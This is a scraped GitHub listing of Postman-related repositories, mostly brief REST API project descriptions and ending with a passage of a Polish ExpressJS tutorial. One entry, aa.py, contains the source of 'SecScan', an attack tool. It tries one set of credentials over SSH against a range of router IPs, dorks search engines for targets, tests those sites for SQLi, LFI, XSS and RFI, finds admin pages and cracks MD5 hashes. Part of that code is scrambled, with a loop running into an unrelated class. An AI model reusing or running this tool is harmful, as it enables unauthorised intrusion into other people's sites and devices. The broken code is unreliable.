access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
lposs/postman-scripts
bunch, customer, customers, endpoint, endpoints, find, partner, partners, script, scripts, support, supported 		A bunch of Postman scripts that partners and customers may find useful in exercising AM's REST endpoints. They are provided "as is" and are unsupported. 0 stars 0 watchers 0 forks
mark-kumoco/api-gateway-test2
boot, course, endpoint, endpoints, gateway, host, local, mvnw, spring, test 		Simple REST app. Start app with: ./mvnw spring-boot:run or .\mvnw.cmd spring-boot:run Then, browse to localhost:8080. These endpoints are created: /hello, /topics, /topics/{id}. To make a HTTP POST request you can use Postman, of course. 0 stars 0 watchers 0 forks
melitus/rest-api-authentication
auth, authenticate, authentication, demonstrate, endpoint, endpoints, rest, rest api, user 		:art: This is to demonstrate how to authenticate a user to use rest api endpoints 0 stars 0 watchers 0 forks
mkeshnnnvend/vend-api
collection, endpoint, endpoints, vend 		collection of API endpoints for use with Postman 0 stars 0 watchers 0 forks
Murray918/taskCrudApi
endpoint, endpoints, task, track 		using postman to track endpoints 0 stars 0 watchers 0 forks
nhc/ecomm-api-tests
endpoint, endpoints, schema, test, tests 		Postman tests and schema's for API endpoints 0 stars 0 watchers 0 forks
oblakeerickson/discourse_api_curl
command, command line, course, curl, endpoint, endpoints 		Test discourse api endpoints from the command line instead of postman 0 stars 0 watchers 0 forks
octavioamu/postman-collections
collection, collections, endpoint, endpoints, public 		Set of collections of public API's endpoints for postman 0 stars 0 watchers 0 forks
Oreramirez/TrabajoUnidad01-BDII
concept, endpoint, endpoints, public, studio, todo, unit, util, utilizando, visual 		TRABAJO FINAL DE UNIDAD Desarrollar una aplicación cualquiera utilizando la tecnica Mapeo Objeto Relacional (OR/M), se deben incluir al menos 05 pruebas unitarias y 05 endpoints de APIs con su correspondiente prueba con Postman Formato: Latex publicado en Github 1. PROBLEMA (Breve descripción) 2. MARCO TEORICO (referencias de conceptos de libros) 3. DESARROLLO 3.1 ANALISIS (Casos de Uso) 3.2 DISEÑO (Diagrama de Clases, Modelo Entidad Relación) 3.3 PRUEBAS (Pruebas unitarias de métodos de clases utilizados) Nota; este trabajo debe estar alineado con el proyecto en el visual studio cargado en el GIT HUB Adicionar a esto también la ruta del proyecto en Git Hub 0 stars 0 watchers 0 forks
rashidmajeed/dotnetcore-postgresql
api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi 		c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's 0 stars 0 watchers 0 forks
rdbhagat999/node-jwt-mocha-todo-rest-api
auth, authentication, chrome, endpoint, endpoints, extension, json, jsonwebtoken, node, rest, rest api, send, todo, token 		Nodejs rest api with authentication using jsonwebtoken. Use postman chrome extension to send requests to endpoints 0 stars 0 watchers 0 forks
shetty-shruti/restful-crud-api
crud, endpoint, endpoints, form, instance, interacting, performing, rest, restful, test 		A RESTful API performing CRUD(Create,Retrieve,Update,Delete) with Node.js, Express and MongoDB. Mongoose for interacting with the MongoDB instance. Postman is used to test these endpoints. 0 stars 0 watchers 0 forks
spryngpayments/postman
collection, endpoint, endpoints, payment 		Postman collection for most of our API endpoints 0 stars 0 watchers 0 forks
villamzr/KardexPersistencePostmanCollection
endpoint, endpoints 		Postman Collection for try the endpoints of Kardex Persistence Component 0 stars 0 watchers 0 forks
xananthar/Pharmacy2U
collection, endpoint, endpoints, example, included, interface, postman collection, running, sample, setup, solution, test, tests, unit, user 		pharmacy 2U tech test solution. Please ensure the API is running on port 49516 alongside the MVC user interface. A postman collection is included with some sample invokes of endpoints on the API, and a unit tests project has been setup with an example unit test which makes use of MOQ 0 stars 0 watchers 0 forks
yashdeepk/restapi
application, data, endpoint, endpoints, flask, form, format, header, json, python, rest, restapi, verify 		Web Service API using python and flask. A Flask application that expose the RESTful URL endpoints. All data sent to and from the API is in JSON format with the Content-Type header field set to application/json. Used postman to verify the outcome. 0 stars 0 watchers 0 forks

source (53 listings) (Back to Top)

bitfumes/api
commerce, source 		Create Ecommerce Restful API using Laravel API Resource 57 stars 57 watchers 62 forks
postmanlabs/covid-19-apis
collection, collections, covid, source 		Postman COVID-19 API Resource Center—API collections to help in the COVID-19 fight. 38 stars 38 watchers 10 forks
yapily/developer-resources
bank, collection, connected, developer, resource, resources, source, yapily 		A collection of Yapily resources to help you get connected to bank APIs. 14 stars 14 watchers 3 forks
open-source-labs/Swell
developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool 		Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. 0 stars 0 watchers 19 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
sashank-tirumala/2R_Drawing_Robot
codes, computer, find, human, image, images, lines, mail, message, problem, python, queries, source 		All the code for a 2R manipulator that draws outlines of human images. It is a mix of computer vision code implemented and Matlab and partially lifted from Petr Zikovsky. There is also some python code, which basically solves rural postman problem using Monte Carlo Localization and Genetic Algorithms. These codes are from a combination of various sources online that I unfortunately cannot find now. If any queries drop me a message / mail 1 stars 1 watchers 2 forks
alentar/rpms-postman
resource, resources, server, source 		Postman resources for RPMS server 1 stars 1 watchers 1 forks
dawitnida/awesome-postman
list, resource, resources, source 		Curated list of resources on Postman. 1 stars 1 watchers 1 forks
Arcadier/API-Changelog
changelog, source 		The source repository of our changelog page. Contents of the page are edited here. 0 stars 0 watchers 3 forks
ivansams/PostmanCollectionSorter
collection, collections, history, match, object, order, output, random, sort, source, version 		Cmd line app to sort the requests within Postman collections to match the order object. Postman randomly shuffles requests when outputting collections in order to make source control difficult even with minor changes. If this is run before each update to a collection, it allows you to see incremental changes to each version in history instead of the entire collection being shuffled. 1 stars 1 watchers 0 forks
ubaid-me/soapui2postman
chrome, export, form, format, google, http, https, json, soap, soapui, source, store 		Converts SoapUI (https://www.soapui.org/) XML export to Postman (https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?utm_source=chrome-ntp-icon) compatible json format. 1 stars 1 watchers 0 forks
msziede/PostmanPageTest
collection, pages, resource, resources, source 		Postman collection that pages through API resources 1 stars 1 watchers 0 forks
RapsIn4/archer
alternative, light, lightweight, native, source 		A lightweight open-sourced POSTMAN alternative 1 stars 1 watchers 0 forks
shelleypham/GE-Current-Hackathon-API-Tutorial
access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens 		This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
weathersource/postman-collection-onpoint-api
collection, onpoint, source, weather 		The OnPoint API Collection for the Postman App 1 stars 1 watchers 0 forks
truptigaonkar/ecommapi
commerce, source, version 		Ecommerce Restful API using Laravel API Resource (Laravel Version 5.6, PHP version 7.2). 0 stars 0 watchers 2 forks
th3resource/cisco_security_postman
cisco, description, resource, script, security, source 		No description available. 0 stars 0 watchers 1 forks
demoPostman/DotnetIasi.DemoPostman
group, lines, necessary, pipeline, pipelines, presentation, resource, resources, source 		This repo contains all the necessary resources from the DotNet Iasi group presentation about PostmanTests in CI\CD pipelines 0 stars 0 watchers 1 forks
postmanlabs/galaxy-workshop
resource, resources, source, workshop 		Supporting resources for the 2020 Postman Galaxy Tour 0 stars 0 watchers 1 forks
xrayin/springboot-rest-image-retriever
application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system 		A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png 0 stars 0 watchers 1 forks
adrian-kriegel/express-postman-router
collection, collections, express, postman collection, postman collections, route, router, source 		Automatically create postman collections from source code. 0 stars 0 watchers 0 forks
bnaddison/Postman-Load-Testing-App
application, collection, collections, source, test, testing 		An open source and simple application for load testing with Postman collections using Newman. 0 stars 0 watchers 0 forks
ivansams/PostmanCleaner
client, collection, collections, source 		Cmd line app to aid source control of Postman (API client) collections. 0 stars 0 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
adQuintipLe/laravel-api-resources
laravel, resource, resources, source 		api laravel resource with postman 0 stars 0 watchers 0 forks
ahmedmohamed1101140/laravel-api
data, docs, dummy, laravel, product, products, resource, reviews, source 		simple api app contains dummy data about products and it's reviews built using laravel api resource docs 0 stars 0 watchers 0 forks
dustyjuhl/Postman-Resources
description, script, source 		No description available. 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
raghwendra-sonu/APIDataDriverTestingWithPostman
data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing 		https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef 0 stars 0 watchers 0 forks
allusai/express-postman-node-api
data, database, express, node, source 		This is Node API to work with the Chinook open source database of musicians and artists over the centuries. 0 stars 0 watchers 0 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
andreshincapie82132/postman_methods
method, methods, resource, resources, source 		A short repository with most useful posman resources 0 stars 0 watchers 0 forks
atzawada/concourse-postman-resource
concourse, course, resource, source, test, test suite 		Concourse resource to run postman test suites. 0 stars 0 watchers 0 forks
cyberrspiritt/post2Doc
collection, convert, document, export, powered, source 		An open source project to convert Postman export of a collection to an api document powered by Aglio 0 stars 0 watchers 0 forks
EmilAndersson/src
folder, source 		The source folder for catkin_ws in the Robot Postman Project 0 stars 0 watchers 0 forks
freeletics/fl-dae-postman
free, source 		This repo contains the source code for the project postman 0 stars 0 watchers 0 forks
gloryer/jsonwebtoken
access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify 		A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. 0 stars 0 watchers 0 forks
guilleojeda/aws-tags-using-postman
list, resource, resources, source 		Create, delete and list AWS resources by tag using Postman 0 stars 0 watchers 0 forks
hairchinh/postman-pro-github-
data, future, github, projects, resource, source, storage 		postman pro github . Postman data github resource storage: applied to projects across space & time back to the past of the future 0 stars 0 watchers 0 forks
KamilWysocki1990/GitHubSearch
application, browser, check, data, in browser, method, place, resource, resources, search, server, source, unit 		MVP||This application give u opportunity to search through repository in GitHub resources along with data to recognize owner of repository . It can also transfer us to the place where we can check chosen repository in browser. In app is implemented method in RxJava for handle bigger data flow which can help reduce time for waiting to get data on screen. Technlogoy used : Java, RxJava2, Retrofit 2, RecyclerView, MVP, ButterKnife, Glide, CardView, LifeCycleObserver, Architecture Components, Postman. 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe 